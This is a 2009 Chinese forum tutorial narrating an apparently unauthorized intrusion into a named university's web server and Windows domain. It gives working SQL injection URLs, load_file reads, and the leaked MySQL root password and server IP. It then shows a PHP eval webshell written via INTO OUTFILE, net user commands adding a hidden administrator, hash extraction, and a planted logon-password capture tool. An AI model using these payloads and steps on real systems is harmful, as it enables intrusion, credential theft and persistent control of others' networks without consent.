作者:Msnh4ck(晓华)  版权所有:岁月联盟 www.syue.com

     脚本***只是***测试中的其中一环,按技术难度划分来说也是最初级的,当然这类***任务交由具有一定***经验的Web***即可轻松完成,对于一些难度较高的目标,则需要***者必须拥有exploit的积累。一个安全测试团队,当然也会形成非常专业的文档,流程,以及强大的工具。团队内部也必须有专职的***技术研究人员或者组织,建立******实验室,推演最新******技术,最终将知识在内部进行共享以及转化。

当然以上都是一些专业的安全***团队能够做到的,对于普通的***迷来说,是很难进入这类团队的,毕竟不是人人都能参与安全服务行业,多数人都是业余爱好而已,业余人员学习的最大意义在于学习最新***技术来武装自己不被***。技术学习都是从低到高而进行的,下面以实例的形式来讲解如何进行脚本***。本次***主要涉及如下知识:
 主机端口扫描
 Web/MYSQL***
 WindowS主机提权
 域环境的***
下面将严格按照以上步骤实施本次***任务,同时向新手朋友体现普通******的基本步骤以及一些经典***测试工具的应用。本次******的目标是国内某著名大学,看域名应该知道是谁。其地址如下:
www.mse.tsinghua.edu.cn

主机端口扫描
     很多***技术迷对于端口扫描很不在乎,原因是从主机直接下手的机会相对比较渺茫,但是这样的想法是不够严谨的,笔者不是在否定它的正确性。作为一次安全***,主机端口扫描是非常重要的,同时也是必须做的,端口扫描的内容也会详细写入文档,提供给客户。对于***人员来说不仅全面了解目标服务器的安全状况,更重要的是得到了一些基础情报,这些情报会决定你的整个***走向。对于端口扫描工具的选用,可以应用NmaP这类王牌扫描器。其实NMAP的功能非常强大的,不仅体现在端口扫描上,新版本中增加了一些功能强悍的插件,这类插件对于******是非常有帮助的,具体可以自己查看。目前NMAP的最新版本是5.0,读者朋友可以自行下载安装。下面应用扫描器对目标系统进行扫描测试,可以执行如下命令:
Nmap -v -A www.mse.tsinghua.edu.cn

通过扫描器返回的数据,得到如下一些重要信息。如图1所示

attachimg.gif 1.jpg
下载 (128.8 KB)
2009-10-24 03:34


以上只是一些基本的端口开放情况,通过扫描我们还可以得到目标服务器运行的详细软件版本。如图2所示

attachimg.gif 2.jpg
下载 (108.07 KB)
2009-10-24 03:34


从以上扫描的结果来看,这台服务器并不安全,因为有过多的敏感端口暴露在外部,这样是极易受到***的。现在需要将扫描结果进行整理,整理范围是敏感端口。笔者整理的结果如下:
21/tcp     ftp            Serv-U ftpd 6.4
53/tcp     domain        Microsoft DNS
80/tcp     http           Apache httpd 2.0.53
3306/tcp   mysql          MySQL 4.1.9-nt
3389/tcp   microsoft-rdp  Microsoft Terminal Service
8080/tcp   Apache Tomcat/Coyote JSP engine 1.0
Running:   Microsoft Windows 2003
以上各个端口如何进行***,相信大家都很精通,毕竟大家都是首先学习系统漏洞***的。另外笔者给新手朋友推荐一款非常不错的漏洞扫描器,那就是大名鼎鼎的Nessus,最新版本为3.X。笔者使用Nessus对以上端口的漏洞扫描,均没有任何进展,下边就不得不考虑使用脚本***技术了。现在我们首先要弄明白如何进行下面的脚本***,通过扫描知道目标服务器应用的是Apache httpd 2.0.53以及Apache Tomcat/Coyote JSP engine 1.0,数据库是MySQL 4.1.9-nt。这样可以推测目标服务器所使用的程序应该是php以及JSP二种类型,对于这类程序最好的***就是注入漏洞,另外MYSQL对***也有帮助,在后边你将看到他的用武之地。

   Web/MYSQL***
从系统漏洞***失利后,必须转战作战目标。通常WEB系统是最脆弱的一环,在进行Web***之前需要简单搜集一些信息。比如服务器做绑定的域名数量,以及应用的何种Web程序以及数据库系统,如果要进行社工***的话,还需要收集管理员的基本信息,比如联系的QQ,EMAIL,手机等。下面对服务器域名绑定情况作一下简单判断。如图3所示

attachimg.gif 3.jpg
下载 (94.2 KB)
2009-10-24 03:34


该服务器运行着多个网站,这样有利于主站***失利后的旁注***。通过浏览器打开主站,主站应用的是PHP程序,后台数据库已经通过扫描得到了。如图4所示

attachimg.gif 4.jpg
下载 (184.54 KB)
2009-10-24 03:34


现在我们可以对这个主站展开攻势了,首先是测试常规脚本漏洞,如何查找注入漏洞,这里就不废话了,大家都是专家水平了。这里给新手普及一款脚本漏洞扫描利器—【jsky】 这款工具是ZWELL写的,效果还是非常不错的。直接运行【jsky】主程序,点击【FILE】菜单,选择【NEW SCAN】选项。出现如下对话框,如图5所示

attachimg.gif 5.jpg
下载 (51.61 KB)
2009-10-24 03:34


在上面的【URL】中输入要检测的目标站点地址,如图6所示

attachimg.gif 6.jpg
下载 (41.57 KB)
2009-10-24 03:34


点击【NeXT】进入下一步的设置,这里可以根据自己需要进行设置,笔者这里保持默认即可。如图7所示

attachimg.gif 7.jpg
下载 (61.41 KB)
2009-10-24 03:34


继续选择【NEXT】 最后点击【Finish】完成设置 如图8所示

attachimg.gif 8.jpg
下载 (57.24 KB)
2009-10-24 03:34


执行【SCAN】进行漏洞扫描,很快就发现了多处注入漏洞。如图9所示

attachimg.gif 9.jpg
下载 (137.09 KB)
2009-10-24 03:35


笔者从中挑选了一个注入点进行诸如测试,其页面如下:
http://www.mse.tsinghua.edu.cn:80/mse/news/detail.php?ID=172
首先进行字段判断,具体判断过程就不说了。笔者得到当前具有5个字段。如图10所示

attachimg.gif 10.jpg
下载 (95.97 KB)
2009-10-24 03:35


执行如下语句得到可被用来显示数据的字段,语句如下:
http://www.mse.tsinghua.edu.cn/mse/news/detail.php?ID=-172  union select 1,2,3,4,5
如图11所示

attachimg.gif 11.jpg
下载 (77.88 KB)
2009-10-24 03:38


通过上图得知,已经获得多个可被显示的字段。现在来看一下数据库的详细信息,主要是判断当前连接的账户。执行如下语句:
http://www.mse.tsinghua.edu.cn/mse/news/detail.php?ID=-172  union select 1,user(),3,4,5/*
结果出现下列错误信息,应该是字符集设置的问题,如图12所示

attachimg.gif 12.jpg
下载 (65.12 KB)
2009-10-24 03:38


Version()内置函数也无法显示,对于连接用户权限的判断十分重要,若是ROOT用户,则可以直接读取文件了。下面我们来尝试读取c:\boot.ini文件。执行如下语句:
http://www.mse.tsinghua.edu.cn/mse/news/detail.php?ID=-172  union select 1,load_file(char(99,58,92,98,111,111,116,46,105,110,105)),3,4,5/*
结果发现能够读取,那么可以判断当前连接用户是ROOT权限了。如图13所示

attachimg.gif 13.jpg
下载 (146.12 KB)
2009-10-24 03:38


现在来确定下接下来的***思路:
●读取APACHE配置文件,可得网站绝对路径
●读取APACHE_TOMCAT配置文件,得JSP站点绝对路径以及管理密码
●将一句话***导出到JSP站目录下
●读取JSP或者PHP站点数据库连接文件,得ROOT密码。
●读取SERV_U得到网站路径,以及加密的账户。
●注入后台数据库,得到管理密码进后台。
通过测试发现这些软件都不是默认安装的,无法进行读取,管理应该是存放在一个特定的目录中,这样很难猜解。在正面战场(主站)也没有通过提交单引号来得到路径,总之测试了爆路径的所有方法都无功而返。这样我们只能猜解后台管理表和字段来爆后台密码了,由于数据库版本是MYSQL 4.1.9-nt,这样注入受到很大的限制,如果字段不是常见的,是很难进行猜解的。下面就开始猜解后台管理表,猜解过程大家都会,成功的几率就看平时的猜解经验以及字典丰富程度了。笔者发现login表是后台的管理表,猜解语句如下:
http://www.mse.tsinghua.edu.cn/mse/news/detail.php?ID=172 union select 1,2,3,4,5 from login/*
表有了,还需要字段。通过猜解发现字段是常规的username以及password,猜解语句如下:
http://www.mse.tsinghua.edu.cn/mse/news/detail.php?ID=172  union select 1,concat(username,0x3a,password),3,4,5 from login/*
下面爆出后台管理密码,语句如下:
http://www.mse.tsinghua.edu.cn/mse/news/detail.php?ID=-172 union select 1,concat(username,0x3a,password),3,4,5 from login/*
如图14所示

attachimg.gif 14.jpg
下载 (110.08 KB)
2009-10-24 03:39


密码有了,后台也是常规的页面,很容易查找。如图15所示

attachimg.gif 15.jpg
下载 (53.01 KB)
2009-10-24 03:39


利用得到的密码顺利登陆,这里就要进入夺取Webshell的环节了。后台是非常的简单,马上找到图片上传的页面上传PHP***。如图16所示

attachimg.gif 16.jpg
下载 (64.28 KB)
2009-10-24 03:39


提交后发现无法进行上传,通过给PHP***头部添加gif89a页无济于事,经过多种方式进行突破都无法上传。最后上传了一个真实的图片文件,结果还是没有上传成功,通过返回的错误信息我们得到了网站的绝对路径。如图17所示

attachimg.gif 17.jpg
下载 (64.24 KB)
2009-10-24 03:39


连正常的图片文件都无法上传,那么PHP脚本也肯定不能了,后台夺取Webshell的路也走到尽头了。现在有了路径,可以尝试读取网站数据库连接文件。为了方便,笔者直接使用工具了。成功得到ROOT密码,如图18所示

attachimg.gif 18.jpg
下载 (44.87 KB)
2009-10-24 03:39


现在我们登录远程MYSQL数据库准备写入一句话***,执行如下命令进行连接:
mysql -h166.111.38.19 -uroot -ppassFORroot
成功登陆,如图19所示

attachimg.gif 19.jpg
下载 (50.84 KB)
2009-10-24 03:39


下面开始导出一句话***到Web目录下,执行如下SQL语句。
use mysql;
Create TABLE a (cmd text NOT NULL);
Insert INTO a (cmd) VALUES('<?php eval($_POST[cmd]);?>');
select cmd from a into outfile 'E:/webpage/mse/mse/news/xh.php';
Drop TABLE IF EXISTS a;
以上语句执行的很顺利,如图20所示

attachimg.gif 20.jpg
下载 (44.35 KB)
2009-10-24 03:39


一句话***是导出成功的,其完整地址如下:
http://www.mse.tsinghua.edu.cn/mse/news/xh.php
使用一句话***客户端进行连接,如图21所示

attachimg.gif 21.jpg
下载 (55.27 KB)
2009-10-24 03:39


通过一句话***,笔者上传了一个大马以方便操作,下面部分就是提权操作了。

 WindowS主机提权
由于当前使用的是APACHE服务器,默认是以系统权限启动的,这里我们可以执行任意系统命令。首先查看当前权限,可以使用whoami命令。如图22所示

attachimg.gif 22.jpg
下载 (31.61 KB)
2009-10-24 03:39


看来管理员并没有对APACHE进行降权,下面直接使用NET命令添加账户。如图23所示

attachimg.gif 23.jpg
下载 (31.44 KB)
2009-10-24 03:39


发现并没有添加成功,根据平时经验来看,估计是服务器做了密码安全策略,验证了密码长度。下面使用一个足够复杂的密码,添加命令如下:
Net user msnh4ck 123456qwert!@# /add
Net localgroup administrators msnh4ck /add
执行以上命令,通过返回的结果来看是成功的。如图24

attachimg.gif 24.jpg
下载 (31.45 KB)
2009-10-24 03:39


利用添加的用户,成功登陆远程桌面。如图25

attachimg.gif 25.jpg
下载 (29.85 KB)
2009-10-24 03:39


域环境的***
登陆的时候发现当前这台主机是域服务器,关于域环境的***,《***手册》有多篇文章可供参考了,不熟悉的朋友可以回头复习下。笔者通过大马上传了一个hash提取工具gethashes.exe,提取了其他账户的hash值。如图26所示

attachimg.gif 26.JPG
下载 (64.87 KB)
2009-10-24 03:39


笔者没有下载120G的彩虹表,于是就用前段时间下的7G表进行破解。破解效果很不如意,只破解出了guest账户的密码。如图27所示

attachimg.gif 27.jpg
下载 (40.26 KB)
2009-10-24 03:39


通过这个账户登录进去,在其目录下还发现了一些***工具。看来已经有人捷足先登了。由于当前主机就是域服务器,笔者就给服务器安装了一个终端密码截获工具【winlogohack】,这里主要有二个考虑,第一是记录域管理员的密码,第二是非常邪恶的,如果前边这个***在这个内网中有收获,笔者可以坐收渔翁之利。几天之后笔者顺利截获到了域管理员的密码,如图28所示

attachimg.gif 28.jpg
下载 (49.06 KB)
2009-10-24 03:39


有了域管理员的密码就可以在这个域中任意摆布了。

总结:本节内容详细讲解了一次典型的******任务,希望这篇文章能够帮助到新手朋友。对于本文有任何的疑问以及意见,请在《岁月联盟》找我交换意见,谢谢